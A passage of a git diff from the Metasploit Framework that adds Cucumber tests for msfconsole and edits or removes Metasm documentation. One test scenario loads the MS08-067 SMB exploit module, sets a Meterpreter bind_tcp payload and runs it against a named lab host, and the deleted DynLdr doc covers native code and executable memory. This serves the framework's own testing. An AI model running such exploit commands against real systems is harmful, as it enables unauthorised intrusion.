{s->bitb=b;s->bitk=k;} -#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;} +#define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;} #define UPDOUT {s->write=q;} #define UPDATE {UPDBITS UPDIN UPDOUT} #define LEAVE {UPDATE return inflate_flush(s,z,r);} diff --git a/features/commands/help.feature b/features/commands/help.feature new file mode 100644 index 0000000000..545ad3ea08 --- /dev/null +++ b/features/commands/help.feature @@ -0,0 +1,78 @@ +Feature: Help command + + Background: + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + + Scenario: The 'help' command's output + When I type "help" + And I type "exit" + Then the output should contain: + """ + Core Commands + ============= + + Command Description + ------- ----------- + ? Help menu + back Move back from the current context + banner Display an awesome metasploit banner + cd Change the current working directory + color Toggle color + connect Communicate with a host + edit Edit the current module with $VISUAL or $EDITOR + exit Exit the console + go_pro Launch Metasploit web GUI + grep Grep the output of another command + help Help menu + info Displays information about one or more module + irb Drop into irb scripting mode + jobs Displays and manages jobs + kill Kill a job + load Load a framework plugin + loadpath Searches for and loads modules from a path + makerc Save commands entered since start to a file + popm Pops the latest module off the stack and makes it active + previous Sets the previously loaded module as the current module + pushm Pushes the active or list of modules onto the module stack + quit Exit the console + reload_all Reloads all modules from all defined module paths + resource Run the commands stored in a file + route Route traffic through a session + save Saves the active datastores + search Searches module names and descriptions + sessions Dump session listings and display information about sessions + set Sets a variable to a value + setg Sets a global variable to a value + show Displays modules of a given type, or all modules + sleep Do nothing for the specified number of seconds + spool Write console output into a file as well the screen + threads View and manipulate background threads + unload Unload a framework plugin + unset Unsets one or more variables + unsetg Unsets one or more global variables + use Selects a module by name + version Show the framework and console library version numbers + + + Database Backend Commands + ========================= + + Command Description + ------- ----------- + creds List all credentials in the database + db_connect Connect to an existing database + db_disconnect Disconnect from the current database instance + db_export Export a file containing the contents of the database + db_import Import a scan result file (filetype will be auto-detected) + db_nmap Executes nmap and records the output automatically + db_rebuild_cache Rebuilds the database-stored module cache + db_status Show the current database status + hosts List all hosts in the database + loot List all loot in the database + notes List all notes in the database + services List all services in the database + vulns List all vulnerabilities in the database + workspace Switch between database workspaces + """ + \ No newline at end of file diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature new file mode 100644 index 0000000000..dd8e7e91ef --- /dev/null +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -0,0 +1,105 @@ +Feature: MS08-067 netapi + + Background: + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + + Scenario: The MS08-067 Module should have the following options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show options" + And I type "exit" + Then the output should contain the following: + | Module options (exploit/windows/smb/ms08_067_netapi) | + | Name Current Setting Required Description | + | ---- --------------- -------- ----------- | + | RHOST yes The target address | + | RPORT 445 yes Set the SMB service port | + | RPORT 445 yes Set the SMB service port | + + Scenario: The MS08-067 Module should have the following advanced options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show advanced" + And I type "exit" + Then the output should contain the following: + | Name : CHOST | + | Description : The local client address | + | Name : CPORT | + | Description : The local client port | + | Name : ConnectTimeout | + | Description : Maximum number of seconds to establish a TCP connection | + | Name : ContextInformationFile | + | Description : The information file that contains context information | + | Name : DCERPC::ReadTimeout | + | Description : The number of seconds to wait for DCERPC responses | + | Name : DisablePayloadHandler | + | Description : Disable the handler code for the selected payload | + | Name : EnableContextEncoding | + | Description : Use transient context when encoding payloads | + | Name : NTLM::SendLM | + | Description : Always send the LANMAN response (except when NTLMv2_session is | + | specified) | + | Name : NTLM::SendNTLM | + | Description : Activate the 'Negotiate NTLM key' flag, indicating the use of | + | NTLM responses | + | Name : NTLM::SendSPN | + | Current Setting: true | + | Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow | + | authentification on windows Seven/2008r2 when SPN is required | + | Name : NTLM::UseLMKey | + | Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key | + | when the LM response is sent | + | Name : NTLM::UseNTLM2_session | + | Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a | + | NTLMv2_session | + | Name : NTLM::UseNTLMv2 | + | Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key | + | is true | + # | Name : Proxies | + # | Description : Use a proxy chain | + | Name : SMB::ChunkSize | + | Current Setting: 500 | + | Description : The chunk size for SMB segments, bigger values will increase | + | speed but break NT 4.0 and SMB signing | + | Name : SMB::Native_LM | + | Description : The Native LM to send during authentication | + | Name : SMB::Native_OS | + | Description : The Native OS to send during authentication | + | Name : SMB::VerifySignature | + | Description : Enforces client-side verification of server response signatures | + | Name : SMBDirect | + | Description : The target port is a raw SMB service (not NetBIOS) | + | Name : SMBDomain | + | Description : The Windows domain to use for authentication | + | Name : SMBName | + | Description : The NetBIOS hostname (required for port 139 connections) | + | Name : SMBPass | + | Description : The password for the specified username | + | Name : SMBUser | + | Description : The username to authenticate as | + | Name : SSL | + | Description : Negotiate SSL for outgoing connections | + | Name : SSLCipher | + | Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" | + | Name : SSLVerifyMode | + | Description : SSL verification method (accepted: CLIENT_ONCE, | + | FAIL_IF_NO_PEER_CERT, NONE, PEER) | + | Name : SSLVersion | + | Description : Specify the version of SSL that should be used (accepted: SSL2, | + | SSL3, TLS1) | + | Name : VERBOSE | + | Description : Enable detailed status messages | + | Name : WORKSPACE | + | Description : Specify the workspace for this module | + | Name : WfsDelay | + | Description : Additional delay when waiting for a session | + + @targets + Scenario: Show RHOST/etc variable expansion from a config file + When I type "use exploit/windows/smb/ms08_067_netapi" + When RHOST is WINDOWS + And I type "set PAYLOAD windows/meterpreter/bind_tcp" + And I type "show options" + And I type "run" + And I type "exit" + And I type "exit" + Then the output should match /spider-wxp/ diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature new file mode 100644 index 0000000000..cc7d7224ff --- /dev/null +++ b/features/msfconsole/database_yml.feature @@ -0,0 +1,167 @@ +@boot +Feature: `msfconsole` `database.yml` + + In order to connect to the database in `msfconsole` + As a user calling `msfconsole` from a terminal + I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence): + + 1. An explicit argument to the `-y` flag to `msfconsole` + 2. The MSF_DATABASE_CONFIG environment variable + 3. The user's `~/.msf4/database.yml` + 4. `config/database.yml` in the metasploit-framework checkout location. + + Scenario: With all 4 locations, --yaml wins + Given a file named "command_line.yml" with: + """ + test: + adapter: postgresql + database: command_line_metasploit_framework_test + username: command_line_metasploit_framework_test + """ + And a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test --yaml command_line.yml` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "command_line_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG wins + Given a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "environment_metasploit_framework_test" + + Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "user_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "project_metasploit_framework_test" + + + Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" does not exist + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "db_status" + And I type "exit" + Then the output should not contain "command_line_metasploit_framework_test" + And the output should not contain "environment_metasploit_framework_test" + And the output should not contain "user_metasploit_framework_test" + And the output should not contain "project_metasploit_framework_test" + And the output should contain "[*] postgresql selected, no connection" + + Scenario: Starting `msfconsole` with a valid database.yml + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + When I type "db_status" + And I type "exit" + Then the output should contain "[*] postgresql connected to metasploit_framework_test" + diff --git a/features/step_definitions/console_output.rb b/features/step_definitions/console_output.rb new file mode 100644 index 0000000000..f394643d21 --- /dev/null +++ b/features/step_definitions/console_output.rb @@ -0,0 +1,5 @@ +Then /^the output should contain the following:$/ do |table| + table.raw.flatten.each do |expected| + assert_partial_output(expected, all_output) + end +end diff --git a/features/step_definitions/environment_variables.rb b/features/step_definitions/environment_variables.rb new file mode 100644 index 0000000000..c554ca0264 --- /dev/null +++ b/features/step_definitions/environment_variables.rb @@ -0,0 +1,20 @@ +Given /^I unset the environment variables:$/ do |table| + table.hashes.each do |row| + variable = row['variable'].to_s.upcase + + # @todo add extension to Announcer + announcer.instance_eval do + if @options[:env] + print "$ unset #{variable}" + end + end + + current_value = ENV.delete(variable) + + # if original_env already has the key, then the true original was already recorded from a previous unset or set, + # so don't record the current value as it will cause ENV not to be restored after the Scenario. + unless original_env.key? variable + original_env[variable] = current_value + end + end +end \ No newline at end of file diff --git a/external/source/exploits/bypassuac/x64/.keep b/features/step_definitions/msfconsole.rb similarity index 100% rename from external/source/exploits/bypassuac/x64/.keep rename to features/step_definitions/msfconsole.rb diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb new file mode 100644 index 0000000000..9e9ffa552a --- /dev/null +++ b/features/step_definitions/project.rb @@ -0,0 +1,14 @@ +require 'metasploit/framework/database/cucumber' + +Given /^the project "database.yml" does not exist$/ do + Metasploit::Framework::Database::Cucumber.backup_project_configurations +end + +Given /^the project "database.yml" exists with:$/ do |file_content| + Metasploit::Framework::Database::Cucumber.backup_project_configurations + write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content) +end + +After do + Metasploit::Framework::Database::Cucumber.restore_project_configurations +end \ No newline at end of file diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb new file mode 100644 index 0000000000..7c14393d0e --- /dev/null +++ b/features/step_definitions/targets.rb @@ -0,0 +1,10 @@ +When /^targets are loaded$/ do + config_file = File.expand_path('features/support/targets.yml') + fail "Target config file #{config_file} does not exist" unless File.exists?(config_file) + @target_config = YAML.load_file(config_file) +end + +When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type| + fail "No target type #{target_type}" unless @target_config.key?(target_type) + step "I type \"set #{type} #{@target_config[target_type]}\"" +end diff --git a/features/support/bin/stty b/features/support/bin/stty new file mode 100755 index 0000000000..8ff68bb1c5 --- /dev/null +++ b/features/support/bin/stty @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +case ARGV[0] + when 'size' + puts "30 134" + when '-a' + puts <; + eol2 = ; erase = ^?; intr = ^C; kill = ^U; lnext = ^V; + min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T; + stop = ^S; susp = ^Z; time = 0; werase = ^W; +EOS + when '-g' + puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400" +end + +exit 0 diff --git a/features/support/env.rb b/features/support/env.rb new file mode 100644 index 0000000000..36f3884d1f --- /dev/null +++ b/features/support/env.rb @@ -0,0 +1,31 @@ +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + +require 'cucumber/rails' +require 'aruba/cucumber' + +# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In +# order to ease the transition to Capybara we set the default here. If you'd +# prefer to use XPath just remove this line and adjust any selectors in your +# steps to use the XPath syntax. +Capybara.default_selector = :css + +# By default, any exception happening in your Rails application will bubble up +# to Cucumber so that your scenario will fail. This is a different from how +# your application behaves in the production environment, where an error page will +# be rendered instead. +# +# Sometimes we want to override this default behaviour and allow Rails to rescue +# exceptions and display an error page (just like when the app is running in production). +# Typical scenarios where you want to do this is when you test your error pages. +# There are two ways to allow Rails to rescue exceptions: +# +# 1) Tag your scenario (or feature) with @allow-rescue +# +# 2) Set the value below to true. Beware that doing this globally is not +# recommended as it will mask a lot of errors for you! +# +ActionController::Base.allow_rescue = false diff --git a/features/support/hooks.rb b/features/support/hooks.rb new file mode 100644 index 0000000000..3c32dab4be --- /dev/null +++ b/features/support/hooks.rb @@ -0,0 +1,5 @@ +Before do + set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) + set_env('RAILS_ENV', 'test') + @aruba_timeout_seconds = 3.minutes +end \ No newline at end of file diff --git a/features/support/stty.rb b/features/support/stty.rb new file mode 100644 index 0000000000..a8afb704c4 --- /dev/null +++ b/features/support/stty.rb @@ -0,0 +1,11 @@ +require 'pathname' + +support = Pathname.new(__FILE__).realpath.parent + +paths = [ + # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty + # output. + support.join('bin').to_path, + ENV['PATH'] +] +ENV['PATH'] = paths.join(File::PATH_SEPARATOR) diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example new file mode 100644 index 0000000000..75f4b9915d --- /dev/null +++ b/features/support/targets.yml.example @@ -0,0 +1,2 @@ +WINDOWS: spider-wxp.vuln.lax.rapid7.com +LINUX: spider-ubuntu.vuln.lax.rapid7.com diff --git a/lib/bit-struct/octet-field.rb b/lib/bit-struct/octet-field.rb index 5967967fc8..1281a136a5 100644 --- a/lib/bit-struct/octet-field.rb +++ b/lib/bit-struct/octet-field.rb @@ -37,7 +37,7 @@ class BitStruct old_writer = "#{attr_chars}=" define_method "#{attr}=" do |val| - data = val.split(sep).map{|s|s.to_i(base)}.pack("c*") + data = val.split(sep).map{|s|s.to_i(base)}.pack("C*") send(old_writer, data) end end diff --git a/lib/fastlib.rb b/lib/fastlib.rb index efbff68c29..7af9bafa20 100755 --- a/lib/fastlib.rb +++ b/lib/fastlib.rb @@ -378,6 +378,10 @@ module Kernel #:nodoc:all # This method handles the loading of FASTLIB archives # def fastlib_require(name) + if name.respond_to? :to_path + name = name.to_path + end + name = name + ".rb" if not name =~ /\.rb$/ return false if fastlib_already_loaded?(name) return false if fastlib_already_tried?(name) diff --git a/lib/metasm.rb b/lib/metasm.rb index ebe35d2b23..db05c0b36e 100644 --- a/lib/metasm.rb +++ b/lib/metasm.rb @@ -1,7 +1,2 @@ # Load a slightly tweaked METASM stub require 'metasm/metasm' - -# Manually load the classes we need from METASM -require 'metasm/ia32' -require 'metasm/mips' -require 'metasm/exe_format/shellcode' diff --git a/lib/metasm/.hg_archival.txt b/lib/metasm/.hg_archival.txt deleted file mode 100644 index 09fc31a53b..0000000000 --- a/lib/metasm/.hg_archival.txt +++ /dev/null @@ -1,2 +0,0 @@ -repo: a1be49ad3727a7dab9202f848ad39b5674e1aada -node: 7ec6509ea16231e365fffc91014755c810c27536 diff --git a/lib/metasm/README b/lib/metasm/README index 5a94ac997b..4896d1d4be 100644 --- a/lib/metasm/README +++ b/lib/metasm/README @@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the comments in the scripts headers. You can also try the --help argument if you're feeling lucky. +For more information, check the doc/ subdirectory. The text files can be +compiled to html using the misc/txt2html.rb script. + + Here is a short overview of the Metasm internals. @@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc) Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str) Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string -PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work -with memory-mmaped versions of those formats (e.g. to debugging running +PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work +with memory-mmaped versions of those formats (e.g. to debug running processes) @@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat) Debugging: -Metasm includes a few interfaces to allow live debugging. +Metasm includes a few interfaces to handle debugging. The WinOS and LinOS classes offer access to the underlying OS processes (e.g. OS.current.find_process('foobar') will retrieve a running process with foobar in its filename ; then process.mem can be used to access its memory.) -The Windows and Linux debugging APIs (x86 only) have a basic ruby interface -(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the -windows debugging API) ; those will be more worked on/integrated in the future. +The Windows and Linux low-level debugging APIs have a basic ruby interface +(PTrace and WinAPI) ; which are used by the unified high-end Debugger class. +Remote debugging is supported through the GDB server wire protocol. + +High-level debuggers can be created with the following ruby line: +Metasm::OS.current.create_debugger('foo') + +Only one kind of host debugger class can exist at a time ; to debug multiple +processes, attach to other processes using the existing class. This is due +to the way the OS debugging API works on Windows and Linux. + +The low-level backends are defined in the os/ subdirectory, the front-end is +defined in debug.rb. A linux console debugging interface is available in samples/lindebug.rb ; it -uses a SoftICE-like look and feel. -This interface can talk to a gdb-server through samples/gdbclient.rb ; use -[udp:] as target. +uses a (simplified) SoftICE-like look and feel. +It can talk to a gdb-server socket ; use a [udp:] target. -The disassembler scripts allow live process interaction by using as target -'live:'. - -A generic debugging interface is available, it is defined in metasm/os/main.rb -It may be accessed using the Metasm::OS.current.create_debugger('foo') - -It can be viewed in action using the GUI and 'open live' target. +The disassembler-gui sample allow live process interaction when using as +target 'live:'. C Parser: @@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats: - __int8 etc native types - Label addresses (&&label) Also note that all those things are parsed, but most of them will fail to -compile on the Ia32 backend (the only one implemented so far.) +compile on the Ia32/X64 backend (the only one implemented so far.) + +Parsing C files should be done using an existing ExeFormat, with the +parse_c_file method. This ensures that format-specific macros/ABI are correctly +defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc) When you parse a C String using C::Parser.parse(text), you receive a Parser object. It holds a #toplevel field, which is a C::Block, which holds #structs, @@ -249,15 +261,11 @@ CExpressions...) A C::Parser may be #precompiled to transform it into a simplified version that is easier to compile: typedefs are removed, control sequences are transformed -in if () goto ; etc. +into 'if (XX) goto YY;' etc. To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with exe-specific macros defined (eg __PE__ or __ELF__). -The prefered way to create a C::Parser is to initialize it with a CPU and the -desired ExeFormat, so that it is -correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and -may define preprocessor macros needed to correctly parse standard headers. Vendor-specific headers may need to use either #pragma prepare_visualstudio (to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the latter may be auto-detected (or may not). diff --git a/lib/metasm/TODO b/lib/metasm/TODO index 550bc8392e..11361bacfe 100644 --- a/lib/metasm/TODO +++ b/lib/metasm/TODO @@ -2,13 +2,14 @@ List of TODO items, by section, in random order Ia32 emu fpu - add all sse2 instrs + AVX support realmode X86_64 decompiler CPU + Arm Sparc Cell @@ -26,14 +27,14 @@ Assembler Disasm DecodedData Exe decoding generate decodeddata ? - Function-local namespace (esp+12 -> esp+var_42) + Function variable names using stack analysis + ExpressionString Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk) Test with ET_REL style exe Store stuff out of mem (to handle big binaries) Better :default usage good on call eax, but not on <600k instrs> ret use binary personality ? (uses call vs uses pushret..) - Improve backtrace -> patch di.instr.args exprs + Improve 'backtrace => patch di.instr.args' path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:) Decode pseudo/macro-instrs (mips 'li') Deoptimizer (instr reordering for readability) @@ -69,6 +70,7 @@ Decompiler Handle/hide compiler-generated stuff (getip, stack cookie setup/check..) Handle call 1f ; 1: pop eax More user control (force/forbid register arg, return type, etc) + Preserve C decompiled line association to range of asm decoded addrs Debugger OSX @@ -81,7 +83,6 @@ Debugger Remote debugging (small standalone C client) Support dbghelp.dll (ms symbol server info) Support debugee function call (gdb 'call') - Manipulate memory through C struct casts ExeFormat Handle minor editing without decode/reencode (eg patch ELF entrypoint) @@ -105,10 +106,9 @@ GUI show breakpoints show jump direction from current flag values have a console frontend - better graph positionning fallback zoom font when zooming graph - copy/paste, selection + text selection map (part of) the binary & debug it (map a PE on a linux host & run it) Ruby - compile ruby AST to native optimized code + write a fast ruby-like interpreter diff --git a/lib/metasm/doc/code_organisation.txt b/lib/metasm/doc/code_organisation.txt deleted file mode 100644 index d60ddfccb6..0000000000 --- a/lib/metasm/doc/code_organisation.txt +++ /dev/null @@ -1,146 +0,0 @@ -Metasm source code organisation -=============================== - -The metasm source code takes advantage of the ruby language facilities, -which allows splitting the definition of a single class in multiple files. - -Each file in the source tree holds code related to a particular feature of -the framework. - -Directories ------------ - -The top-level directories are : - -* `doc/`: this documentation -* `metasm/`: the framework core -* `samples/`: a set of sample scripts showing various functionnalities of the framework -* `tests/`: a few unit tests (too few..) -* `misc/`: misc ruby scripts, not directly related to metasm - -The core --------- - -The `metasm/` directory holds most of the code of the framework, along with the -main `metasm.rb` file in the top directory. - -The top-level `metasm.rb` has code to load parts of the framework source on demand -in the ruby interpreter, which is implemented with ruby's - - -Executable formats -################## - -The `exe_format/` subdirectory contains the implementations of the various -binary file formats supported in the framework. - -Three files have a special meaning here: - -* `main.rb`: it defines the class -* `serialstruct.rb`: here you'll find the definitions of -* `autoexe.rb`: the implementation of , which allows the recognition of arbitrary files from their binary signature. - -The `main.rb` file is included in all other formats, as all file classes -are subclasses of `ExeFormat`. - -The `serialstruct.rb` implements a helper class to ease the description of -binary structures, and generate parsing/encoding functions for those. - -All other files implement a specific file format handler. The bigger files -(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and -decoding/disassembly. - - -CPUs -#### - -All supported architectures have a dedicated subdirectory, and a helper file -that will simply include all the arch-specific files. - -All those files will contribute to add functions to the same class implementing -the CPU interface. Not all CPUs implement all those features. They are: - -* `main.rb`: inner classes definitions (for registers etc), generic functions -* `opcodes.rb`: initializes the opcode list for the architecture -* `encode.rb`: methods to encode instructions -* `decode.rb`: methods to decode/emulate instructions -* `parse.rb`: methods to parse asm instructions from a source file -* `render.rb`: methods to output an instruction to a string -* `compile_c.rb`: the C compiler implementation -* `decompile.rb`: the arch-specific part of the generic decompiler -* `debug.rb`: arch-specific information used when debugging target of this architecture - -In some cases the files are small enough to be all merged into the `main.rb` file. - - -Operating systems -################# - -The `os/` subdirectory holds the code used to abstract an operating systems. - -The files here define an API allowing to enumerate running processes, and interact -with them in various ways. The class and subclasses are -defined there. - -Those files also holds the list of known functions and in which system libraries -they can be found (see or ), which -are used when linking executable files. - - -Graphical user-interface -######################## - -The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces. - -Currently those include the disassembler and the debugger (see the *samples* section). - -Those GUI elements are implemented using a custom GUI abstraction, and reside in the -various `dasm_*.rb` and `debug.rb`. - -The actual implementation of the GUI are found in: - -* `win32.rb`: the native Win32 API backend -* `gtk.rb`: a Gtk2 backend, intended for unix platforms -* `qt.rb`: a Qt backend experiment - -Please note that the Qt backend does not work *at all*. - -The `gui.rb` file in the main directory is used to chose among the available GUI backend -the most appropriate for the current session. - - -Others -###### - -The other files directly in the `metasm/` directory are either support files -(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by -specific cpu/exeformat instances, or implement arch-agnostic features. -Those include: - -* `preprocessor.rb`: the C/asm preprocessor/lexer -* `parse_c.rb`: this is the implementation of the C parser -* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source -* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder -* `dynldr.rb`: this module is used when interacting directly with the host operating system through - - -The samples ------------ - -The `samples/` directory contains a lot of small files that intend to be -exemples of how to use the framework. It also holds experiments and -work-in-progress for features that may later be integrated into the main -framework. - -The comment at the beginning of the file should be clear about the purpose -of the script, and the scripts are expected to be copy/pasted and tweaked -for the specific task needed by the user (that's you). - -Some of those files however are full-featured applications: - -* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts -* `disassemble.rb`: a disassembler -* `disassemble-gui.rb`: the graphical disassembler / debugger - -The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler. - diff --git a/lib/metasm/doc/const_missing.txt b/lib/metasm/doc/const_missing.txt deleted file mode 100644 index 88d0519b6c..0000000000 --- a/lib/metasm/doc/const_missing.txt +++ /dev/null @@ -1,16 +0,0 @@ -The const_missing trick -======================= - -Metasm uses a ruby trick to load most of the framework on demand, so that -*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter -unless you use them. - -It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of -`Module.autoload`. This mechanism will automatically load the specified metasm -components whenever a reference is made to one of the constants listed here. - -Metasm provides a replacement top-level file, `misc/metasm-all.rb`, -which will unconditionally load all metasm files. -This will not however load mutually exclusive files, like the Gui subsystems ; -in this case it will load only the autodetected gui module (win32 or gtk). - diff --git a/lib/metasm/doc/core/DynLdr.txt b/lib/metasm/doc/core/DynLdr.txt deleted file mode 100644 index fb133ad546..0000000000 --- a/lib/metasm/doc/core/DynLdr.txt +++ /dev/null @@ -1,247 +0,0 @@ -DynLdr -====== - -DynLdr is a class that uses metasm to dynamically add native methods, -or native method wrappers, available to the running ruby interpreter. - -It leverages the built-in C parser / compiler. - -It is implemented in `metasm/dynldr.rb`. - -Currently only supported for and under -Windows and Linux. - - -Basics ------- - -Native library wrapper -###################### - -The main usage is to generate interfaces to native libraries. - -This is done through the `#new_api_c` method. - -The following exemple will read the specified C header fragment, -define ruby constants for all `#define`/`enum`, and define ruby -method wrappers to call the native functions whose prototype is -present in the header. - -All referenced native functions must be exported by the given -library file. - - class MyInterface < DynLdr - c_header = < 4) - return 1; - else - return 0; - } - EOS - end - -References to external functions are allowed, and resolved automatically. - -The ruby objects used as arguments to the wrapper method are -automatically converted to the right C type. - - -You can also write native functions in assembly, but you must specify a -C prototype, used for argument and return value conversion. - - class MyInterface < DynLdr - new_func_asm "int increment(int i);", < :size, :s_value => 42) - - # we can access fields using Hash-style access - s_obj['s_UniOn'] = 0xa8 - - # or Struct-style access - puts '0x%x' % s_obj.s_BiTS2 # => '0xa' - -This object can be directly passed as argument to a wrapped function, and -the native function will receive a pointer to this structure (that it can -freely modify). - -This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`. -Internally, it is based on a ruby `String`, and has a reference to the parser's -`Struct` to find the mapping membername -> offsets/length. - -See for more details. - - -Callbacks ---------- - -`DynLdr` handles C callbacks, with arbitrary ABI. - -Any number of callbacks can be defined at any time. - -C callbacks are backed by a ruby `Proc`, eg `lambda {}`. - - - class MyInterface < DynLdr - new_api_c < memory_read(p2, 1) - } - qsort(str, str.length, 1, cmp) - p str - end - - - -Argument conversion -------------------- - -Ruby objects passed to a wrapper method are converted to the corresponding -C type - -* `Strings` are converted to a C pointer to the byte buffer (also directly -accessible from the ruby through `DynLdr.str_ptr(obj)` -* `Integers` are converted to their C equivalent, according to the prototype -(`char`, `unsigned long long`, ...) -* `Procs` are converted to a C callback -* `Floats` are not supported for now. - - -Working with memory -------------------- - -DynLdr provides different ways to allocate memory. - -* `alloc_c_struct` to allocate a C structure -* `alloc_c_ary` to allocate C array of some type -* `alloc_c_ptr`, which is just an ary of size 1 -* `memory_alloc` allocates memory from a new memory page - -`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows, -and is suitable for allocating memory where you want to control -the memory permissions (read, write, execute). This is done through `memory_perm`. - -`memory_perm` takes for argument the start address, the 